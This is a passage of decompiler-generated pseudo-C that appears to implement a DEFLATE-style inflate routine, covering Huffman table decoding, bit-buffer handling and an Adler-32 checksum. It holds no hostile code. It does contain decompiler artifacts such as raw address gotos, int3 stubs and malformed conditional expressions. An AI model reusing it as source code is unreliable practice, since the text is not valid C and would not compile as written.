																	}
																	L115:
																	goto 0x3a14b1;
																	asm("int3");
																	goto L85;
																} else {
																	L107:
																	__eflags = _t1050 - 8;
																	if(_t1050 >= 8) {
																		L110:
																		_t618 = _t968 & 0x000000ff;
																		_t968 = _t968 >> 8;
																		_t1050 = _t1050 - 8;
																		 *(_t1065 - 0x28) = _t618;
																		 *(_t1065 - 4) = _t968;
																		L111:
																		__eflags =  *(_t1065 - 0x10) -  *((intOrPtr*)(_t1065 - 0x40));
																		_t1030 =  *(_t1065 - 0x14);
																		if( *(_t1065 - 0x10) >=  *((intOrPtr*)(_t1065 - 0x40))) {
																			L246:
																			 *(_t1065 - 0xc) = 2;
																			 *_t1030 = 0x34;
																			goto L292;
																		} else {
																			L112:
																			 *(_t1065 - 0x10) =  *(_t1065 - 0x10) + 1;
																			 *( *(_t1065 - 0x10)) = _t618;
																			_t953 =  *(_t1065 - 8) - 1;
																			 *(_t1065 - 8) = _t953;
																			continue;
																		}
																	} else {
																		while(1) {
																			L108:
																			__eflags = _t847 -  *(_t1065 - 0x20);
																			if(_t847 >=  *(_t1065 - 0x20)) {
																				break;
																			}
																			L109:
																			_t618 = ( *_t847 & 0x000000ff) << _t1050;
																			_t847 = _t847 + 1;
																			_t968 = _t968 | _t618;
																			 *(_t1065 - 0x18) = _t847;
																			_t1050 = _t1050 + 8;
																			 *(_t1065 - 4) = _t968;
																			__eflags = _t1050 - 8;
																			if(_t1050 < 8) {
																				continue;
																			} else {
																				goto L110;
																			}
																			goto L295;
																		}
																		L245:
																		 *_t1030 = 0x33;
																		goto L285;
																	}
																}
																goto L295;
															}
															continue;
														}
													} else {
														while(1) {
															L91:
															__eflags = _t847 -  *(_t1065 - 0x20);
															if(_t847 >=  *(_t1065 - 0x20)) {
																break;
															}
															L92:
															_t721 = ( *_t847 & 0x000000ff) << _t1050;
															_t1050 = _t1050 + 8;
															_t999 = _t999 | _t721;
															_t847 = _t847 + 1;
															 *(_t1065 - 0x18) = _t847;
															_t618 = _t1050 & 0x00000007;
															 *(_t1065 - 4) = _t999;
															__eflags = _t1050 - _t618;
															if(_t1050 < _t618) {
																continue;
															} else {
																goto L93;
															}
															goto L295;
														}
														L242:
														 *_t1030 = 5;
														goto L285;
													}
												}
											} else {
												while(1) {
													L87:
													__eflags = _t847 -  *(_t1065 - 0x20);
													if(_t847 >=  *(_t1065 - 0x20)) {
														break;
													}
													L88:
													_t618 = ( *_t847 & 0x000000ff) << _t1050;
													_t847 = _t847 + 1;
													_t968 = _t968 | _t618;
													 *(_t1065 - 0x18) = _t847;
													_t1050 = _t1050 + 8;
													 *(_t1065 - 4) = _t968;
													__eflags = _t1050 - 3;
													if(_t1050 < 3) {
														continue;
													} else {
														goto L89;
													}
													goto L295;
												}
												L241:
												 *_t1030 = 3;
												L285:
												__eflags =  *(_t1065 + 0x18) & 0x00000002;
												L286:
												L287:
												_t628 =  !=  ? 1 : _t618;
												 *(_t1065 - 0xc) = _t628;
												__eflags = _t628 - 1;
												if(_t628 != 1) {
													L288:
													__eflags = _t628 - 0xfffffffc;
													if(_t628 != 0xfffffffc) {
														L289:
														L292:
														_t673 =  *(_t1065 - 0x3c);
														__eflags = _t847 - _t673;
														if(_t847 > _t673) {
															while(1) {
																L293:
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	goto L295;
																}
																L294:
																_t847 = _t847 - 1;
																_t1050 = _t1050 - 8;
																__eflags = _t847 - _t673;
																if(_t847 > _t673) {
																	continue;
																}
																goto L295;
															}
														}
													}
												}
											}
											goto L295;
										}
										L252:
										_t618 = _t1050 & 0x00000007;
										__eflags = _t1050 - _t618;
										if(_t1050 >= _t618) {
											L256:
											_t688 =  *(_t1065 - 0x3c);
											_t894 = _t1050 & 0x00000007;
											_t994 = _t968 >> _t894;
											_t1050 = _t1050 - _t894;
											 *(_t1065 - 4) = _t994;
											__eflags = _t847 - _t688;
											if(_t847 > _t688) {
												while(1) {
													L257:
													__eflags = _t1050 - 8;
													if(_t1050 < 8) {
														goto L259;
													}
													L258:
													_t847 = _t847 - 1;
													_t1050 = _t1050 - 8;
													__eflags = _t847 - _t688;
													if(_t847 > _t688) {
														continue;
													}
													goto L259;
												}
											}
											L259:
											L260:
											_t618 = _t1050;
											asm("bts edx, eax");
											__eflags = _t618 - 0x20;
											_t896 =  >=  ? _t994 : 0;
											_t995 = _t994 ^ _t896;
											__eflags = _t618 - 0x40;
											_t897 =  >=  ? _t995 : _t896;
											 *(_t1065 - 4) =  *(_t1065 - 4) & _t995 - 0x00000001;
											__eflags =  *(_t1065 + 0x18) & 0x00000001;
											if(( *(_t1065 + 0x18) & 0x00000001) == 0) {
												L290:
												_t689 = 0;
												__eflags = 0;
												 *_t1030 = 0x22;
												L291:
												 *(_t1065 - 0xc) = _t689;
												goto L292;
											} else {
												L261:
												_t898 = 0;
												while(1) {
													L277:
													 *(_t1065 - 8) = _t898;
													__eflags = _t898 - 4;
													if(_t898 >= 4) {
														goto L290;
													}
													L278:
													__eflags = _t1050;
													if(_t1050 != 0) {
														L281:
														_t997 =  *(_t1065 - 4);
														__eflags = _t1050 - 8;
														if(_t1050 >= 8) {
															L275:
															_t690 = _t997 & 0x000000ff;
															_t1050 = _t1050 - 8;
															__eflags = _t1050;
															 *(_t1065 - 4) = _t997 >> 8;
															goto L276;
														} else {
															L282:
															while(1) {
																L272:
																__eflags = _t847 -  *(_t1065 - 0x20);
																if(_t847 >=  *(_t1065 - 0x20)) {
																	break;
																}
																L273:
																_t618 = ( *_t847 & 0x000000ff) << _t1050;
																_t1050 = _t1050 + 8;
																_t997 = _t997 | _t618;
																_t847 = _t847 + 1;
																 *(_t1065 - 4) = _t997;
																__eflags = _t1050 - 8;
																if(_t1050 < 8) {
																	continue;
																} else {
																	L274:
																	_t898 =  *(_t1065 - 8);
																	goto L275;
																}
																goto L295;
															}
															L284:
															 *_t1030 = 0x29;
															goto L285;
														}
													} else {
														L279:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															L283:
															 *_t1030 = 0x2a;
															goto L285;
														} else {
															L280:
															_t690 =  *_t847 & 0x000000ff;
															_t847 = _t847 + 1;
															L276:
															 *(_t1065 - 0x24) = _t690;
															_t618 =  *(_t1030 + 0x10) << 0x00000008 |  *(_t1065 - 0x24);
															_t898 = _t898 + 1;
															__eflags = _t898;
															 *(_t1030 + 0x10) = _t618;
															continue;
														}
													}
													goto L295;
												}
												goto L290;
											}
										} else {
											L253:
											while(1) {
												L254:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													break;
												}
												L255:
												_t695 = ( *_t847 & 0x000000ff) << _t1050;
												_t1050 = _t1050 + 8;
												_t968 = _t968 | _t695;
												_t847 = _t847 + 1;
												 *(_t1065 - 4) = _t968;
												_t618 = _t1050 & 0x00000007;
												__eflags = _t1050 - _t618;
												if(_t1050 < _t618) {
													continue;
												} else {
													goto L256;
												}
												goto L295;
											}
											L271:
											 *_t1030 = 0x20;
											goto L285;
										}
									}
								} else {
									L49:
									__eflags = _t1050 - 0xf;
									if(_t1050 < 0xf) {
										_t1021 =  *(_t847 + 1) & 0x000000ff;
										_t861 = _t1050;
										_t732 =  *_t847 & 0x000000ff;
										_t847 = _t847 + 2;
										_t1030 =  *(_t1065 - 0x14);
										 *(_t1065 - 0x18) = _t847;
										 *(_t1065 - 4) =  *(_t1065 - 4) | (_t1021 << 0x00000008 | _t732) << _t861;
										_t1050 = _t1050 + 0x10;
										__eflags = _t1050;
										_t968 =  *(_t1065 - 4);
									}
									_t725 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
									 *(_t1065 - 0x1c) = _t725;
									__eflags = _t725;
									if(_t725 < 0) {
										L53:
										goto 0x3a1472;
										asm("int3");
										asm("int3");
										asm("int3");
										do {
											L54:
											_t727 = _t968 >> _t861;
											_t861 = _t861 + 1;
											_t847 =  *((short*)(_t1030 + 0x960 + ((_t727 & 0x00000001) +  !_t847) * 2));
											__eflags = _t847;
										} while (_t847 < 0);
										 *(_t1065 - 0x1c) = _t847;
										_t847 =  *(_t1065 - 0x18);
									} else {
										L52:
										_t861 = _t725 >> 9;
									}
									L56:
									_t618 =  *(_t1065 - 8);
									_t1050 = _t1050 - _t861;
									_t968 = _t968 >> _t861;
									 *(_t1065 - 4) = _t968;
									 *( *(_t1065 - 0x10)) = _t618;
									_t861 =  *(_t1065 - 0x1c);
									__eflags = _t861 & 0x00000100;
									if((_t861 & 0x00000100) != 0) {
										L83:
										_t171 = _t1065 - 0x10;
										 *_t171 =  *(_t1065 - 0x10) + 1;
										__eflags =  *_t171;
										goto L84;
									} else {
										L57:
										_t730 =  *(_t1065 - 0x10);
										 *(_t730 + 1) = _t861;
										 *(_t1065 - 0x10) = _t730 + 2;
										continue;
										do {
											do {
												while(1) {
													L39:
													_t860 =  *(_t1065 - 0x20) - _t847;
													__eflags = _t860 - 4;
													if(_t860 < 4) {
														goto L58;
													}
													goto L40;
												}
												L26:
												__eflags = _t870;
											} while (_t870 == 0);
											goto 0x3a140c;
											asm("int3");
											_t734 =  *_t740;
											 *_t1030 = _t734;
											_t1030 =  *(_t1065 - 0x14);
											__eflags = _t870 - 1;
											if(_t870 > 1) {
												L29:
												L36:
												goto 0x3a1448;
												asm("int3");
												 *(_t968 + 1) =  *((intOrPtr*)(_t734 + 1));
												_t968 =  *(_t1065 - 4);
											}
											L38:
											_t86 = _t1065 - 0x10;
											 *_t86 =  *(_t1065 - 0x10) + _t870;
											__eflags =  *_t86;
											while(1) {
												L39:
												_t860 =  *(_t1065 - 0x20) - _t847;
												__eflags = _t860 - 4;
												if(_t860 < 4) {
													goto L58;
												}
												goto L40;
											}
											L33:
											 *(_t1065 - 0x10) = _t1030;
											_t1030 =  *(_t1065 - 0x14);
											 *(_t1065 - 0xc) = _t968;
											_t968 =  *(_t1065 - 4);
											 *(_t1065 - 8) = _t870;
											__eflags = _t870;
										} while (_t870 <= 0);
										goto 0x3a1434;
										asm("int3");
										_t734 =  *_t624;
										 *_t1030 = _t734;
										_t1030 =  *(_t1065 - 0x14);
										__eflags = _t870 - 1;
										if(_t870 > 1) {
											goto L36;
										}
										goto L38;
									}
								}
							}
							L295:
							_t972 =  *(_t1065 - 4);
							L296:
							 *(_t1030 + 4) = _t1050;
							asm("bts ecx, esi");
							__eflags = _t1050 - 0x20;
							_t630 =  >=  ? 0 : 0;
							_t874 = 0 ^ _t630;
							__eflags = _t1050 - 0x40;
							_t631 =  >=  ? _t874 : _t630;
							 *(_t1030 + 0x20) =  *(_t1065 - 0x28);
							_t974 =  *(_t1065 - 0x10) -  *(_t1065 + 0x10);
							__eflags =  *(_t1065 + 0x18) & 0x00000009;
							 *(_t1030 + 0x24) =  *(_t1065 - 8);
							 *(_t1030 + 0x28) =  *(_t1065 - 0x38);
							 *((intOrPtr*)(_t1030 + 0x3c)) =  *((intOrPtr*)(_t1065 - 0x48));
							 *(_t1030 + 0x38) = _t874 - 0x00000001 & _t972;
							 *(_t1065 - 0x10) = _t974;
							 *((intOrPtr*)( *((intOrPtr*)(_t1065 + 8)))) = _t847 -  *(_t1065 - 0x3c);
							_t851 =  *(_t1065 - 0xc);
							 *( *(_t1065 + 0x14)) = _t974;
							if(( *(_t1065 + 0x18) & 0x00000009) != 0) {
								L297:
								__eflags = _t851;
								if(_t851 >= 0) {
									L298:
									_t1052 =  *(_t1030 + 0x1c);
									_t877 = _t1052 & 0x0000ffff;
									_t641 = (0x5e6ea9af * _t974 >> 0x20 >> 0xb) * 0x15b0;
									_t1053 = _t1052 >> 0x10;
									 *(_t1065 - 0x3c) = _t1053;
									_t978 =  *(_t1065 - 0x10) - _t641;
									__eflags =  *(_t1065 - 0x10);
									 *(_t1065 - 0x34) = _t978;
									if( *(_t1065 - 0x10) != 0) {
										L299:
										_t853 = _t978;
										do {
											L300:
											_t979 = 0;
											 *(_t1065 + 0x14) = 0;
											__eflags = _t853 - 7;
											if(_t853 > 7) {
												L301:
												goto 0x3a15c6;
												asm("int3");
												asm("int3");
												asm("int3");
												L302:
												_t1033 = _t1030 - _t641;
												__eflags = _t1033;
												do {
													L303:
													_t979 =  &(_t979[2]);
													_t879 = _t877 + ( *_t641 & 0x000000ff);
													_t880 = _t879 + ( *( *(_t1065 + 0x10) + 1) & 0x000000ff);
													_t881 = _t880 + ( *(2 +  *(_t1065 + 0x10)) & 0x000000ff);
													_t882 = _t881 + ( *( *(_t1065 + 0x10) + 3) & 0x000000ff);
													_t883 = _t882 + ( *( *(_t1065 + 0x10) + 4) & 0x000000ff);
													_t884 = _t883 + ( *( *(_t1065 + 0x10) + 5) & 0x000000ff);
													_t885 = _t884 + ( *( *(_t1065 + 0x10) + 6) & 0x000000ff);
													_t877 = _t885 + ( *( *(_t1065 + 0x10) + 7) & 0x000000ff);
													_t671 =  *(_t1065 + 0x10) + 8;
													_t1053 = _t1053 + _t879 + _t880 + _t881 + _t882 + _t883 + _t884 + _t885 + _t877;
													 *(_t1065 + 0x10) = _t671;
													__eflags = _t1033 + _t671 - _t853;
													_t641 =  *(_t1065 + 0x10);
												} while (_t1033 + _t671 < _t853);
												 *(_t1065 + 0x14) = _t979;
												 *(_t1065 - 0x3c) = _t1053;
											}
											L305:
											_t1030 = 0;
											 *((intOrPtr*)(_t1065 + 8)) = 0;
											__eflags = _t979 - _t853;
											if(_t979 < _t853) {
												L306:
												__eflags = _t853 - _t979 - 2;
												if(_t853 - _t979 >= 2) {
													L307:
													_t651 =  *(_t1065 + 0x14);
													_t1056 =  *(_t1065 + 0x10);
													_t854 = 0;
													_t990 = (_t853 - _t651 - 2 >> 1) + 1;
													__eflags = _t990;
													 *(_t1065 + 0x14) = _t651 + _t990 * 2;
													do {
														L308:
														_t878 = _t877 + ( *_t1056 & 0x000000ff);
														_t654 =  *(_t1056 + 1) & 0x000000ff;
														_t1030 = _t1030 + _t878;
														_t1056 = 2 + _t1056;
														_t877 = _t878 + _t654;
														_t854 = _t854 + _t877;
														_t990 = _t990 - 1;
														__eflags = _t990;
													} while (_t990 != 0);
													_t979 =  *(_t1065 + 0x14);
													 *(_t1065 + 0x10) = _t1056;
													_t1053 =  *(_t1065 - 0x3c);
													 *((intOrPtr*)(_t1065 + 8)) = _t854;
													_t853 =  *(_t1065 - 0x34);
												}
												L310:
												__eflags = _t979 - _t853;
												if(_t979 < _t853) {
													_t984 =  *(_t1065 + 0x10);
													_t877 = _t877 + ( *_t984 & 0x000000ff);
													_t1053 = _t1053 + _t877;
													_t985 =  &(_t984[1]);
													__eflags = _t985;
													 *(_t1065 + 0x10) = _t985;
												}
												L312:
												_t641 =  *((intOrPtr*)(_t1065 + 8)) + _t1030;
												_t1053 = _t1053 + _t641;
												__eflags = _t1053;
											}
											L313:
											L314:
											_t877 = _t877 + (_t641 * _t877 >> 0x20 >> 0xf) * 0xffff000f;
											_t641 = (0x80078071 * _t1053 >> 0x20 >> 0xf) * 0xffff000f;
											_t1053 = _t1053 + _t641;
											_t586 = _t1065 - 0x10;
											 *_t586 =  *(_t1065 - 0x10) - _t853;
											__eflags =  *_t586;
											_t853 = 0x15b0;
											 *(_t1065 - 0x3c) = _t1053;
											 *(_t1065 - 0x34) = 0x15b0;
										} while ( *_t586 != 0);
										goto 0x3a15ef;
										asm("int3");
									}
									L316:
									_t1055 = (_t1053 << 0x10) + _t877;
									 *(_t1030 + 0x1c) = _t1055;
									__eflags = _t851;
									if(_t851 == 0) {
										__eflags =  *(_t1065 + 0x18) & 0x00000001;
										if(( *(_t1065 + 0x18) & 0x00000001) != 0) {
											__eflags = _t1055 -  *(_t1030 + 0x10);
											_t851 =  !=  ? 0xfffffffe : _t851;
											__eflags = _t851;
										}
									}
								}
							}
							L319:
							return _t851;
							L320:
							L58:
							__eflags = _t1050 - 0xf;
							if(_t1050 >= 0xf) {
								L75:
								_t603 =  *((short*)(_t1030 + 0x160 + (_t968 & 0x000003ff) * 2));
								 *(_t1065 - 8) = _t603;
								__eflags = _t603;
								if(_t603 < 0) {
									L77:
									goto 0x3a149b;
									asm("int3");
									asm("int3");
									asm("int3");
									do {
										L78:
										_t605 = _t968 >> _t860;
										_t860 = _t860 + 1;
										_t847 =  *((short*)(_t1030 + 0x960 + ((_t605 & 0x00000001) +  !_t847) * 2));
										__eflags = _t847;
									} while (_t847 < 0);
									 *(_t1065 - 8) = _t847;
									_t847 =  *(_t1065 - 0x18);
								} else {
									L76:
									_t860 = _t603 >> 9;
									_t618 = _t603 & 0x000001ff;
									 *(_t1065 - 8) = _t618;
								}
								L80:
								_t968 = _t968 >> _t860;
								_t1050 = _t1050 - _t860;
								_t861 =  *(_t1065 - 8);
								 *(_t1065 - 4) = _t968;
								__eflags = _t861 - 0x100;
								if(_t861 >= 0x100) {
									goto L84;
								} else {
									L81:
									_t769 =  *(_t1065 - 0x10);
									__eflags = _t769 -  *((intOrPtr*)(_t1065 - 0x40));
									if(_t769 >=  *((intOrPtr*)(_t1065 - 0x40))) {
										L240:
										 *(_t1065 - 0xc) = 2;
										 *_t1030 = 0x18;
										goto L292;
									} else {
										L82:
										 *_t769 = _t861;
										 *(_t1065 - 0x10) = _t769 + 1;
										continue;
									}
								}
							} else {
								L59:
								__eflags = _t860 - 2;
								if(_t860 >= 2) {
									L73:
									_t969 =  *(_t847 + 1) & 0x000000ff;
									_t625 =  *_t847 & 0x000000ff;
									_t847 = _t847 + 2;
									_t860 = _t1050;
									 *(_t1065 - 0x18) = _t847;
									 *(_t1065 - 4) =  *(_t1065 - 4) | _t969 << _t1050 + 0x00000008 | _t625 << _t860;
									_t1050 = _t1050 + 0x10;
									__eflags = _t1050;
									_t968 =  *(_t1065 - 4);
									goto L74;
								} else {
									do {
										L60:
										_t618 = _t968 & 0x000003ff;
										_t1031 =  *((short*)(_t1030 + 0x160 + _t618 * 2));
										__eflags = _t1031;
										if(_t1031 < 0) {
											L64:
											__eflags = _t1050 - 0xa;
											if(_t1050 <= 0xa) {
												goto L69;
											} else {
												L65:
												 *(_t1065 - 0x1c) = _t860;
												while(1) {
													L67:
													_t1031 =  *((short*)( *(_t1065 - 0x14) + 0x960 + ((_t968 >> _t860 & 0x00000001) +  !_t1031) * 2));
													_t860 =  *(_t1065 - 0x1c) + 1;
													 *(_t1065 - 0x1c) = _t860;
													__eflags = _t1031;
													if(_t1031 >= 0) {
														goto L74;
													}
													L68:
													_t618 = _t860 + 1;
													__eflags = _t1050 - _t618;
													if(_t1050 >= _t618) {
														continue;
													} else {
														goto L69;
													}
													goto L295;
												}
												goto L74;
											}
										} else {
											L61:
											_t1035 = _t1031 >> 9;
											__eflags = _t1035;
											if(_t1035 == 0) {
												L69:
												_t1030 =  *(_t1065 - 0x14);
												L70:
												__eflags = _t847 -  *(_t1065 - 0x20);
												if(_t847 >=  *(_t1065 - 0x20)) {
													L239:
													 *_t1030 = 0x17;
													goto L285;
												} else {
													goto L71;
												}
											} else {
												L62:
												__eflags = _t1050 - _t1035;
												if(_t1050 >= _t1035) {
													L74:
													_t1030 =  *(_t1065 - 0x14);
													goto L75;
												} else {
													L63:
													goto L69;
												}
											}
										}
										goto L295;
										L71:
										_t860 = _t1050;
										_t675 = ( *_t847 & 0x000000ff) << _t860;
										_t847 = _t847 + 1;
										_t968 = _t968 | _t675;
										 *(_t1065 - 0x18) = _t847;
										_t1050 = _t1050 + 8;
										 *(_t1065 - 4) = _t968;
										__eflags = _t1050 - 0xf;
									} while (_t1050 < 0xf);
									goto L75;
								}
							}
							goto L295;
						}
					}
					L142:
					 *(_t1065 - 0xc) = 0x40 + _t600 * 0xda0 + _t1030;
					memset(_t1065 - 0xd0, 0, 0x40);
					memset( *(_t1065 - 0xc) + 0x120, 0, 0x800);
					memset( *(_t1065 - 0xc) + 0x920, 0, 0x480);
					_t903 = 0;
					_t1068 = _t1068 + 0x24;
					_t1003 = _t1030 + ( *(_t1030 + 0x18) + 0xb) * 4;
					 *(_t1065 - 0x44) = _t1003;
					if( *_t1003 > 0) {
						L143:
						_t1030 =  *(_t1065 - 0xc);
						do {
							L144:
							_t845 =  *(_t903 + _t1030) & 0x000000ff;
							_t903 = _t903 + 1;
							 *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) =  *((intOrPtr*)(_t1065 + _t845 * 4 - 0xd0)) + 1;
						} while (_t903 <  *_t1003);
					}
					L145:
					goto 0x3a1500;
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					L146:
					 *(_t1065 - 0x8c) = _t903;
					 *(_t1065 - 0x90) = _t903;
					 *(_t1065 - 0x2c) = _t903;
					 *(_t1065 - 0x30) = _t903;
					do {
						L147:
						_t782 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd4));
						_t905 = _t903 + _t782 + _t903 + _t782;
						_t1030 = _t1030 + _t782;
						_t783 =  *((intOrPtr*)(_t1065 + _t1003 - 0xd0));
						 *(_t1065 - 0x30) =  *(_t1065 - 0x30) + _t783;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x90)) = _t905;
						_t784 =  *((intOrPtr*)(_t1065 + _t1003 - 0xcc));
						_t907 = _t905 + _t783 + _t905 + _t783;
						 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) + _t784;
						 *((intOrPtr*)(_t1065 + _t1003 - 0x8c)) = _t907;
						_t903 = _t907 + _t784 + _t907 + _t784;
						 *(_t1065 + _t1003 - 0x88) = _t903;
						_t1003 = _t1003 + 0xc;
					} while (_t1003 <= 0x40);
					 *(_t1065 - 0x4c) = _t903;
					 *(_t1065 - 0x24) = _t1030;
					_t1030 =  *(_t1065 - 0x14);
					_t910 =  *(_t1065 - 0x24) +  *(_t1065 - 0x2c) +  *(_t1065 - 0x30);
					if( *(_t1065 - 0x4c) == 0x10000 || _t910 <= 1) {
						L150:
						_t787 =  *(_t1065 - 0x44);
						 *(_t1065 - 0x30) = 0xffffffff;
						 *(_t1065 - 0x4c) = 0;
						if( *_t787 > 0) {
							L151:
							_t1064 =  *(_t1065 - 0x4c);
							do {
								L152:
								L153:
								_t922 =  *(_t1064 + _t787) & 0x000000ff;
								 *(_t1065 - 0x44) = _t922;
								if(_t922 != 0) {
									L154:
									_t824 =  *(_t1065 + _t922 * 4 - 0x90);
									 *(_t1065 - 0x2c) = _t824;
									 *(_t1065 + _t922 * 4 - 0x90) = _t824 + 1;
									 *(_t1065 - 0x24) = _t922;
									if(_t922 != 0) {
										L155:
										do {
											L156:
											 *(_t1065 - 0x2c) =  *(_t1065 - 0x2c) >> 1;
											_t844 =  *(_t1065 - 0x24) - 1;
											_t1003 = _t1003 + _t1003 |  *(_t1065 - 0x2c) & 0x00000001;
											 *(_t1065 - 0x24) = _t844;
										} while (_t844 != 0);
										_t922 =  *(_t1065 - 0x44);
									}
									L158:
									if(_t922 > 0xa) {
										L164:
										_t828 =  *(_t1065 - 0xc) + 0x120 + (_t1003 & 0x000003ff) * 2;
										_t847 =  *(_t1065 - 0x30);
										 *(_t1065 - 0x44) = _t828;
										_t829 =  *_t828;
										 *(_t1065 - 0x2c) = _t829;
										__eflags = _t829;
										if(_t829 == 0) {
											 *( *(_t1065 - 0x44)) = _t847;
											_t829 = _t847;
											_t847 = _t847 - 2;
											__eflags = _t847;
											 *(_t1065 - 0x2c) = _t829;
											 *(_t1065 - 0x30) = _t847;
										}
										L166:
										_t1011 = _t1003 >> 9;
										__eflags = _t922 - 0xb;
										if(_t922 > 0xb) {
											L167:
											_t923 = _t922 + 0xfffffff5;
											__eflags = _t923;
											 *(_t1065 - 0x24) = _t923;
											_t924 =  *(_t1065 - 0x2c);
											do {
												L168:
												_t1011 = _t1011 >> 1;
												_t834 = 0x48f - _t924 - (_t1011 & 0x00000001);
												_t927 =  *( *(_t1065 - 0xc) + 0x91e) & 0x0000ffff;
												__eflags = _t927;
												if(_t927 != 0) {
													_t924 = _t927;
												} else {
													 *( *(_t1065 - 0xc) + _t834 * 2) = _t847;
													_t835 =  *(_t1065 - 0x30);
													_t924 = _t835;
													_t836 = _t835 - 2;
													 *(_t1065 - 0x30) = _t836;
													_t847 = _t836;
												}
												L171:
												_t361 = _t1065 - 0x24;
												 *_t361 =  *(_t1065 - 0x24) - 1;
												__eflags =  *_t361;
											} while ( *_t361 != 0);
											 *(_t1065 - 0x2c) = _t924;
											_t829 = _t924;
										}
										L173:
										_t1003 = (_t1011 >> 0x00000001 & 0x00000001) - _t829;
										__eflags = _t1003;
										 *( *(_t1065 - 0xc) + 0x91e + _t1003 * 2) = _t1064;
									} else {
										L159:
										_t841 = (_t922 << 0x00000009 | _t1064) & 0x0000ffff;
										 *(_t1065 - 0x44) = _t841;
										if(_t1003 < 0x400) {
											L160:
											goto 0x3a152a;
											asm("int3");
											asm("int3");
											asm("int3");
											L161:
											_t842 = _t841 << _t922;
											 *(_t1065 - 0x4c) = _t842 + _t842;
											_t932 =  *(_t1065 - 0xc) + _t1003 * 2 + 0x120;
											do {
												L162:
												 *_t932 = _t1030;
												_t1003 = _t1003 + _t842;
												_t932 =  &(_t932[ *(_t1065 - 0x4c)]);
											} while (_t1003 < 0x400);
											_t1030 =  *(_t1065 - 0x14);
										}
									}
								}
								L174:
								_t787 =  *(_t1030 + 0x18);
								_t1064 = _t1064 + 1;
							} while (_t1064 <  *((intOrPtr*)(_t1030 + 0x2c + _t787 * 4)));
							goto 0x3a1540;
							asm("int3");
						}
						L176:
						if( *(_t1030 + 0x18) != 2) {
							L217:
							 *(_t1030 + 0x18) =  *(_t1030 + 0x18) - 1;
							goto L141;
						} else {
							L177:
							_t911 = 0;
							while(1) {
								L178:
								_t1004 =  *(_t1065 - 4);
								while(1) {
									L179:
									 *(_t1065 - 8) = _t911;
									if(_t911 >=  *(_t1030 + 0x30) +  *(_t1030 + 0x2c)) {
										break;
									}
									L180:
									if(_t1064 >= 0xf) {
										L197:
										_t802 =  *((short*)(_t1030 + 0x1ca0 + (_t1004 & 0x000003ff) * 2));
										 *(_t1065 - 0x28) = _t802;
										if(_t802 < 0) {
											L199:
											L200:
											do {
												L201:
												 *(_t1065 - 0x28) =  !( *(_t1065 - 0x28));
												_t804 = _t1004 >> _t911;
												_t911 = _t911 + 1;
												_t618 =  *((short*)(_t1030 + 0x24a0 + ((_t804 & 0x00000001) +  *(_t1065 - 0x28)) * 2));
												 *(_t1065 - 0x28) = _t618;
												__eflags = _t618;
											} while (__eflags < 0);
										} else {
											L198:
											_t911 = _t802 >> 9;
											_t618 = _t802 & 0x000001ff;
											 *(_t1065 - 0x28) = _t618;
										}
										L202:
										_t1004 = _t1004 >> _t911;
										_t1050 = _t1064 - _t911;
										 *(_t1065 - 4) = _t1004;
										 *(_t1065 - 0x1c) = _t1050;
										if(_t618 >= 0x10) {
											L204:
											if(__eflags != 0) {
												L207:
												_t912 =  *((char*)(_t618 + 0x38eff0));
												 *(_t1065 - 0x38) = _t912;
												__eflags = _t1050 - _t912;
												if(_t1050 >= _t912) {
													L211:
													_t1050 = _t1050 - _t912;
													 *(_t1065 - 0x1c) = _t1050;
													_t913 =  *(_t1065 - 0x14);
													_t1046 = ((0x00000001 << _t912) - 0x00000001 & _t1004) +  *((char*)(_t618 + 0x38eff8));
													__eflags =  *(_t1065 - 0x28) - 0x10;
													_t808 =  *(_t1065 - 8);
													 *(_t1065 - 4) = _t1004 >> _t912;
													if(__eflags != 0) {
														_t1007 = 0;
														__eflags = 0;
													} else {
														_t1007 =  *(_t808 + _t913 + 0x2923) & 0x000000ff;
													}
													L214:
													memset(_t808 + _t913 + 0x2924, _t1007, _t1046);
													_t1068 = _t1068 + 0xc;
													_t911 =  *(_t1065 - 8) + _t1046;
													_t1030 =  *(_t1065 - 0x14);
													L178:
													_t1004 =  *(_t1065 - 4);
													continue;
												} else {
													while(1) {
														L208:
														__eflags = _t847 -  *(_t1065 - 0x20);
														if(_t847 >=  *(_t1065 - 0x20)) {
															break;
														}
														L209:
														_t618 = ( *_t847 & 0x000000ff) << _t1050;
														_t847 = _t847 + 1;
														_t912 =  *(_t1065 - 0x38);
														_t1004 = _t1004 | _t618;
														_t1050 = _t1050 + 8;
														 *(_t1065 - 0x18) = _t847;
														 *(_t1065 - 4) = _t1004;
														__eflags = _t1050 - _t912;
														if(_t1050 < _t912) {
															continue;
														} else {
															L210:
															_t618 =  *(_t1065 - 0x28);
															goto L211;
														}
														goto L295;
													}
													L251:
													 *_t1030 = 0x12;
													goto L285;
												}
											} else {
												L205:
												_t812 =  *(_t1065 - 8);
												__eflags = _t812;
												if(_t812 == 0) {
													L268:
													_t689 = _t812 | 0xffffffff;
													 *_t1030 = 0x11;
													goto L291;
												} else {
													L206:
													_t618 =  *(_t1065 - 0x28);
													goto L207;
												}
											}
										} else {
											L203:
											_t917 =  *(_t1065 - 8);
											 *(_t1030 + 0x2924 + _t917) = _t618;
											_t911 = _t917 + 1;
											continue;
										}
									} else {
										L181:
										if( *(_t1065 - 0x20) - _t847 >= 2) {
											L195:
											_t1008 =  *(_t847 + 1) & 0x000000ff;
											_t815 =  *_t847 & 0x000000ff;
											_t847 = _t847 + 2;
											_t911 = _t1064;
											 *(_t1065 - 0x18) = _t847;
											 *(_t1065 - 4) =  *(_t1065 - 4) | _t1008 << _t1064 + 0x00000008 | _t815 << _t911;
											_t1064 = _t1064 + 0x10;
											__eflags = _t1064;
											_t1004 =  *(_t1065 - 4);
											goto L196;
										} else {
											do {
												L182:
												_t618 = _t1004 & 0x000003ff;
												_t1047 =  *((short*)(_t1030 + 0x1ca0 + _t618 * 2));
												if(_t1047 < 0) {
													L186:
													__eflags = _t1064 - 0xa;
													if(__eflags <= 0) {
														goto L191;
													} else {
														L187:
														L188:
														 *(_t1065 - 0x24) = _t911;
														while(1) {
															L189:
